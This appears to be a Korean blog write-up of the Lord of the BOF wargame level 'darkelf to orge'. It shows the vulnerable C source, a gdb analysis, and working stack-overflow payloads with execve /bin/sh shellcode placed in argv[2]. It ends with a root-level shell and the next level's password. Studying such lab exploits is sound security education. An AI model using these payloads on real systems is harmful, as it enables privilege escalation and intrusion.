Sh4n3e

[시스템해킹][LOB] Level7 : Darkelf -> Orge 본문

Wargame/LOB

[시스템해킹][LOB] Level7 : Darkelf -> Orge

sh4n3e 2017. 6. 22. 21:03

이번 문제는 이상하게도 생각한 방법대로 실행이 되지 않아 애를 먹었다.

하지만 이번 문제를 해결하는 과정중에 해당 문제를 해결할 수 있는 방법이 2가지가 존재함을 알 수 있었다.

우선 이 문제의 소스부터 보기로 하자.

 


/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
 char buffer[40];
 int i;

 if(argc < 2){
  printf("argv error\n");
  exit(0);
 }

 // here is changed!
 if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
 }

 // egghunter
 for(i=0; environ[i]; i++)
  memset(environ[i], 0, strlen(environ[i]));

 if(argv[1][47] != '\xbf')
 {
  printf("stack is still your friend.\n");
  exit(0);
 }

 // check the length of argument
 if(strlen(argv[1]) > 48){
  printf("argument is too long!\n");
  exit(0);
 }

 strcpy(buffer, argv[1]);
 printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

 

해당 문제에서 가장 거슬리는 지점은 저 2곳이었다. 왜냐하면 실행파일의 길이가 77이어야한다는 제약 조건이 존재했고, Argument로 보내는 인자의 길이는 48보다 커서는 안되는 것이었다.

초기에 그래도 쉽게 접근할 수 있을 것 같아 아래와 같은 예제 Payload를 만들어 보았다.

 

 $(python -c 'print "."+"/"*72+"orge"') $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xa0\xfd\xff\xbf"')

 

해당 Payload는 우선 ./////~/////orge 이런식으로 77의 길이를 만들어주고, argv[1]내에 NOP와 Shellcode를 넣어 argv[1]내에서 모든 것을 처리할 수 있게 만들었다. 하지만 무슨이유에서인지 제대로 작동하지 않았고, 계속된 에러만 토해내고 말았다......

 

그러다 여러가지를 알게 되었고, argv[1]의 길이인 48을 극복할 수 있는 방법을 알아낼 수 있었다. 그것은 argv[2]를 사용하는 방법이다.

해당 Payload는 그냥 argv[1]에 의미없는 값과 RET만 채워넣어주고, 길이의 제한이 없는 argv[2]에 Shellcode를 넣어주어 실행할 수 있도록 하는 것이다. 우선 아래의 어셈블 코드를 보며 더 자세히 분석하자.

 

[darkelf@localhost darkelf]$ gdb -q $(python -c 'print "."+"/"*58+"aaaa"')
(gdb) set disassembly-flavor intel
(gdb) disp/i $pc
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>: push   %ebp
0x8048501 <main+1>: mov    %ebp,%esp
0x8048503 <main+3>: sub    %esp,44
0x8048506 <main+6>: cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg     0x8048523 <main+35>
0x804850c <main+12>: push   0x8048690
0x8048511 <main+17>: call   0x8048410 <printf>
0x8048516 <main+22>: add    %esp,4
0x8048519 <main+25>: push   0
0x804851b <main+27>: call   0x8048420 <exit>
0x8048520 <main+32>: add    %esp,4
0x8048523 <main+35>: mov    %eax,DWORD PTR [%ebp+12]
0x8048526 <main+38>: mov    %edx,DWORD PTR [%eax]
0x8048528 <main+40>: push   %edx
0x8048529 <main+41>: call   0x80483f0 <strlen> //strlen(argv[0]);

0x804852e <main+46>: add    %esp,4
0x8048531 <main+49>: mov    %eax,%eax
0x8048533 <main+51>: cmp    %eax,77 // if( $eax != 77) {
0x8048536 <main+54>: je     0x8048550 <main+80> //zeroflag가 0이면, 0x8048550으로 jump!
0x8048538 <main+56>: push   0x804869c
0x804853d <main+61>: call   0x8048410 <printf>
0x8048542 <main+66>: add    %esp,4
0x8048545 <main+69>: push   0
0x8048547 <main+71>: call   0x8048420 <exit>
0x804854c <main+76>: add    %esp,4
0x804854f <main+79>: nop   
0x8048550 <main+80>: nop   
0x8048551 <main+81>: mov    DWORD PTR [%ebp-44],0x0
0x8048558 <main+88>: mov    %eax,DWORD PTR [%ebp-44]
0x804855b <main+91>: lea    %edx,[%eax*4]
0x8048562 <main+98>: mov    %eax,%ds:0x80497d4
0x8048567 <main+103>: cmp    DWORD PTR [%eax+%edx],0
0x804856b <main+107>: jne    0x8048570 <main+112>
0x804856d <main+109>: jmp    0x80485b0 <main+176>
0x804856f <main+111>: nop   
0x8048570 <main+112>: mov    %eax,DWORD PTR [%ebp-44]
0x8048573 <main+115>: lea    %edx,[%eax*4]
0x804857a <main+122>: mov    %eax,%ds:0x80497d4
0x804857f <main+127>: mov    %edx,DWORD PTR [%eax+%edx]
0x8048582 <main+130>: push   %edx
0x8048583 <main+131>: call   0x80483f0 <strlen>
0x8048588 <main+136>: add    %esp,4
0x804858b <main+139>: mov    %eax,%eax
0x804858d <main+141>: push   %eax
0x804858e <main+142>: push   0
0x8048590 <main+144>: mov    %eax,DWORD PTR [%ebp-44]
0x8048593 <main+147>: lea    %edx,[%eax*4]
0x804859a <main+154>: mov    %eax,%ds:0x80497d4
0x804859f <main+159>: mov    %edx,DWORD PTR [%eax+%edx]
0x80485a2 <main+162>: push   %edx
0x80485a3 <main+163>: call   0x8048430 <memset>
0x80485a8 <main+168>: add    %esp,12
0x80485ab <main+171>: inc    DWORD PTR [%ebp-44]
0x80485ae <main+174>: jmp    0x8048558 <main+88>
0x80485b0 <main+176>: mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add    %eax,4
0x80485b6 <main+182>: mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: add    %edx,47
0x80485bb <main+187>: cmp    BYTE PTR [%edx],0xbf
0x80485be <main+190>: je     0x80485d7 <main+215>
0x80485c0 <main+192>: push   0x80486ab
0x80485c5 <main+197>: call   0x8048410 <printf>
0x80485ca <main+202>: add    %esp,4
0x80485cd <main+205>: push   0
0x80485cf <main+207>: call   0x8048420 <exit>
0x80485d4 <main+212>: add    %esp,4
0x80485d7 <main+215>: mov    %eax,DWORD PTR [%ebp+12]
0x80485da <main+218>: add    %eax,4
0x80485dd <main+221>: mov    %edx,DWORD PTR [%eax]
0x80485df <main+223>: push   %edx
0x80485e0 <main+224>: call   0x80483f0 <strlen>
0x80485e5 <main+229>: add    %esp,4
0x80485e8 <main+232>: mov    %eax,%eax
0x80485ea <main+234>: cmp    %eax,48
0x80485ed <main+237>: jbe    0x8048606 <main+262>
0x80485ef <main+239>: push   0x80486c8
0x80485f4 <main+244>: call   0x8048410 <printf>
0x80485f9 <main+249>: add    %esp,4
0x80485fc <main+252>: push   0
0x80485fe <main+254>: call   0x8048420 <exit>
0x8048603 <main+259>: add    %esp,4
0x8048606 <main+262>: mov    %eax,DWORD PTR [%ebp+12]
0x8048609 <main+265>: add    %eax,4
0x804860c <main+268>: mov    %edx,DWORD PTR [%eax]
0x804860e <main+270>: push   %edx
0x804860f <main+271>: lea    %eax,[%ebp-40]
0x8048612 <main+274>: push   %eax
0x8048613 <main+275>: call   0x8048440 <strcpy>
0x8048618 <main+280>: add    %esp,8
0x804861b <main+283>: lea    %eax,[%ebp-40]
0x804861e <main+286>: push   %eax
0x804861f <main+287>: push   0x80486df
0x8048624 <main+292>: call   0x8048410 <printf>
0x8048629 <main+297>: add    %esp,8
0x804862c <main+300>: push   40
0x804862e <main+302>: push   0
0x8048630 <main+304>: lea    %eax,[%ebp-40]
0x8048633 <main+307>: push   %eax
0x8048634 <main+308>: call   0x8048430 <memset>
0x8048639 <main+313>: add    %esp,12
0x804863c <main+316>: leave 
0x804863d <main+317>: ret   
0x804863e <main+318>: nop   
0x804863f <main+319>: nop   
End of assembler dump. 

 

정확히 어떻게 들어가는지 분석해보자

 

 (gdb) b *main+40     
Breakpoint 3 at 0x8048528
<\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/darkelf/.//////////////////////////////////////////////////////////aaaa $(python -c 'print "A"*44+"\x63\xfd\xff\xbf"') $(python -c 'print "\x90"*32+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

Breakpoint 3, 0x8048528 in main ()
1: x/i $eip  0x8048528 <main+40>: push   %edx
(gdb) x/100x $edx
0xbffffd18: 0x6d6f682f 0x61642f65 0x6c656b72 0x2f2e2f66
0xbffffd28: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffd38: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffd48: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffd58: 0x2f2f2f2f 0x2f2f2f2f 0x6161612f 0x41410061

0xbffffd68: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd78: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd88: 0x41414141 0x41414141 0xfd634141 0x9000bfff

0xbffffd98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffda8: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffdb8: 0x2f6850c0 0x6868732f 0x6e69622f 0x5350e389
0xbffffdc8: 0xd231e189 0x80cd0bb0 0x44575000 0x6f682f3d
0xbffffdd8: 0x642f656d 0x656b7261 0x5200666c 0x544f4d45
0xbffffde8: 0x534f4845 0x39313d54 0x36312e32 0x33312e38
0xbffffdf8: 0x3932312e 0x534f4800 0x4d414e54 0x6f6c3d45

 

빨간색은 argv[0]

파란색은 argv[1]

초록색은 argv[2]

 

이런 형태로 나눠서 들어간다. 각각의 argv는 0x00(NULL)로 구분되어 있다.

따라서 이제 현재 들어가있는 주소값도 알았으니 이제 Payload를 작성하여 공격을 시도해보자.

 

$(python -c 'print "."+"/"*72+"orge"') $(python -c 'print "A"*44+"\x63\xfd\xff\xbf"') $(python -c 'print "\x90"*32+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

해당 Payload로 공격한 결과는 아래와 같다.

 

<\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")     
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc���
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)

bash$ /bin/my-pass
euid = 507
timewalker 

 

* 추가적으로 위의 공격방법을 제외하고 한가지 공격방법이 더 존재한다.

파일이름을 Symbolic Link로 새롭게 만들어줌으로써 77길이를 맞춰주는 방법이다. 이것은

 

ln -s ./orge ./$(python -c "print 'A*75") 와 같은 방법으로 심볼릭 링크를 만들어 주고, Payload를 붙여주면 된다.

Comments